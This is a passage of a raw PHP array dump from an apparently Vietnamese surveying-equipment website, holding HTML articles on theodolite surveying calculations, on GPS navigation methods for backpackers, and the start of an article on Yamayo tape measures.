href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7483" height="46" sizes="(max-width: 473px) 100vw, 473px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-300x29.png 300w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-115x11.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png 473w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="473" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">IV. Đo, tính tọa độ của một điểm bằng phương pháp điểm dẫn (Cọc phụ).</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần tính tọa độ điểm T khi có các số liệu gốc và số liệu đo như hình vẽ ta tiến hành như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7484 alignright" height="236" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5-150x132.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; float: right; margin: 0px 0px 20px 20px !important;" width="268" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh gốc: </span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">α<span style="box-sizing: border-box; margin: 0px; padding: 0px;"> AB<span style="box-sizing: border-box; margin: 0px; padding: 0px;">=120°30’40”</span></span></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh BT:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7485" height="55" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="197" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Theo hình vẽ, góc đo được là góc trái nên ta áp dụng công thức:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7486 aligncenter" height="38" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="246" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính số gia tọa độ của cạnh BT.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7487 aligncenter" height="41" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="160" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính tọa độ cho điểm T:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7488" height="54" sizes="(max-width: 159px) 100vw, 159px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-115x39.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-150x51.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png 209w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="159" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102);">V. Đo chiều cao công trình</strong></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Để xác định chiều cao của một công trình ta làm như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại một điểm bất kỳ sao cho khi đặt máy trên điểm này có thể nhìn thấy đỉnh và chân công trình.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Dựng mia ở chân công trình và xác định khoảng cách ngang từ máy đến mia (D).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính lên đỉnh công trình rồi đọc giá trị góc đứng (V1).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính xuống chân công trình rồi đọc giá trị góc đứng (V2).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính chiều cao công trình (H) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H =</i> <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H</i>1+ <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>2</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trong đó: <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>1 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>1</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;"> H </i>2 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>2</span></span></span></p> ', 'images' => '201709110746070417e9099f0268338ae9b8a49d21ba31.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-09-11', 'modified' => '2025-08-10', 'status' => '1', 'view' => '71057', 'slug' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '861', 'rght' => '862', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '492', 'name' => 'Những cách định vị đường đi cho dân phượt', 'code' => null, 'alias' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(17, 17, 17); font-weight: bold; text-align: justify;">Ngày nay, giới trẻ thích du lịch “phượt” thay vì đi theo tour. Việc định vị đường đi cho chuyến phượt thuận lợi được thực hiện bằng cách nào? Hãy cùng nhau tìm hiểu những cách định vị đường đi nhé!</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Định vị đường đi sẽ là việc đầu tiên mà chúng ta thực hiện khi chuẩn bị cho một chuyến phượt đến một nơi mà ta chưa bao giờ đặt chân tới. Và bạn thực hiện điều đó bằng cách nào?</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">1. Sử dụng bản đồ truyền thống (bản đồ trên giấy):</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cách này dành cho những người khá “cổ điển” do bản đồ giấy đang trở nên lỗi thời.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Bạn sẽ phải thường xuyên mở bản đồ ra và dò xem mình đã đi tới đâu, bản đồ có thể sẽ bị rách, hư nếu bạn xem dưới thời tiết xấu và bản đồ giấy không thể giúp ta biết được chính xác vị trí mình đang đứng.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="448" src="http://dathop.com.vn/file/1502182605-HCM%20Map.ashx.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="440" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">2. Sử dụng các ứng dụng định vị dẫn đường trên smartphone:</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tất cả các smartphone ngày nay đều được tích hợp với hệ thống định vị GPS, hệ thống định vị toàn cầu, đó chính là chìa khóa trong việc giúp người sử dụng có thể định vị đường đi chính xác.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="308" src="http://dathop.com.vn/file/1502182663-loi-khuyen-su-dung-may-dinh-vi-gps.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="485" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ta chỉ cần định vị điểm đến mà chúng ta muốn, ứng dụng chỉ đường trong smartphone sẽ định vị đường đi từ vị trí mà chúng ta đang đứng đến điểm đến một cách chính xác.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Đây là cách phổ biến, nhưng điểm yếu là vùng phủ sóng bị hạn chế bởi nhà cung cấp mạng smartphone.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">3. Sử dụng máy định vị GPS cầm tay:</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="331" src="http://dathop.com.vn/file/1502182829-264962.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="498" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cũng như các ứng dụng định vị dẫn đường trên smartphone, máy định vị GPS cầm tay cũng sử dụng hệ thống định vị toàn cầu GPS, hiển thị màn hình màu, nhưng nó còn có những đặc điểm nỗi trội hơn hẵn mà các phượt thủ không nên bỏ qua:</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Độ bền: máy định vị GPS cầm tay để chế tạo để sử dụng nơi hoang dã. Không như smartphone, hầu hết các máy định vị GPS cầm tay đều có khả năng chống thấm IPX7 như <a href="http://dathop.com.vn/post/dac-diem-noi-troi-cua-may-gpsmap-78-78s.html" style="margin: 0px auto; text-decoration-line: none; color: rgb(51, 51, 51); background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">Garmin GPS MAP 78/78s</a> nên nước mưa không phải là vấn đề đáng ngại.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tuổi thọ pin: máy định vị GPS cầm tay có thể hoạt động trong hơn 15 giờ sau mỗi lần sạc. Hầu hết máy định vị GPS loại này đều sử dụng pin AA đi kèm với máy, có thể lựa chọn pin sạc hay pin Lithium để kéo dài thời gian hoạt động. Còn với smartphone, bạn bị giới hạn ở nguồn sạc trên xe hơi hay sạc tường.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Vùng phủ sóng: Tất cả những gì mà máy định vị GPS cần để xác định chính xác vị trí của bạn là một nơi có thể thấy rõ bầu trời, không bị giới hạn bởi vùng phủ sóng như điện thoại di động.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tính năng: máy định vị GPS cầm tay được tích hợp một khí áp kế để theo dõi sự thay đổi của điều kiện thời tiết, một la bàn điện tử để định hướng và một cao độ/khí áp kế để xác định cao độ nơi bạn đang đứng so với mặt nước biển. Ngoài ra còn có thể ghi lại điểm đã đi, tránh lạc đường nhờ chức năng tracklog.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Lập bản đồ: máy định vị GPS không cần phải kết nối dữ liệu điện thoại di động để tải bản đồ, vì bản đồ đã được tải sẵn trong thiết bị này.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tính tới thời điểm hiện tại thì việc sử dụng thiết bị định vị GPS cầm tay sẽ là một lựa chọn tối ưu nhất cho các phượt thủ của chúng ta. </span></span></p> ', 'images' => '20170822084111b76542c2d4df05b5c7e4ccab538fe8c0.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-08-22', 'modified' => '2025-08-10', 'status' => '1', 'view' => '77229', 'slug' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '859', 'rght' => '860', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '491', 'name' => 'Thước dây Yamayo', 'code' => null, 'alias' => 'thuoc-day-yamayo', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thước dây là thiết bị đo đạc vô cùng quen thuộc trong mọi công trình cũng như trong cuộc sống thường ngày. Tuy nhiên, trong điều kiện khác nhau nên sử dụng loại thước chuyên biệt để đáp ứng độ chính xác cao, nhất là trong điều kiện ẩm thấp sẽ giảm chất lượng đi rất nhiều.</strong></span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Kể từ khi thành lập vào năm 1906, công ty Yamayo Measuring Tools, Ltd luôn cho ra đời những thiết bị đo lường tin cậy và không ngừng cải tiến công nghệ để đảm bảo độ chính xác cao nhất trong điều kiện môi trường khắc nghiệt nhất.<br /> Hiện nay, Yamayo là một trong những nhà sản xuất lớn nhất và hàng đầu trong lĩnh vực đo lường tại Nhật Bản và đã được công nhận đặt nhãn JIS (cấp 1) cho mỗi sản phẩm theo tiêu chuẩn Quy chuẩn Công nghiệp Nhật Bản do Chính phủ quy định.<br /> Với nhiều năm kinh nghiệm tích lũy và lao động có tay nghề cao, Yamayo sản xuất những dòng sản phẩm được thiết kế tinh xảo, chất lượng cao dưới sự kiểm soát nghiêm ngặt.<br /> Tùy tính chất công việc cũng như điều kiện sử dụng mà Yamayo cho ra đời nhiều dòng thước dây khác nhau, đáp ứng độ chính xác cao cũng như đồ bền dài 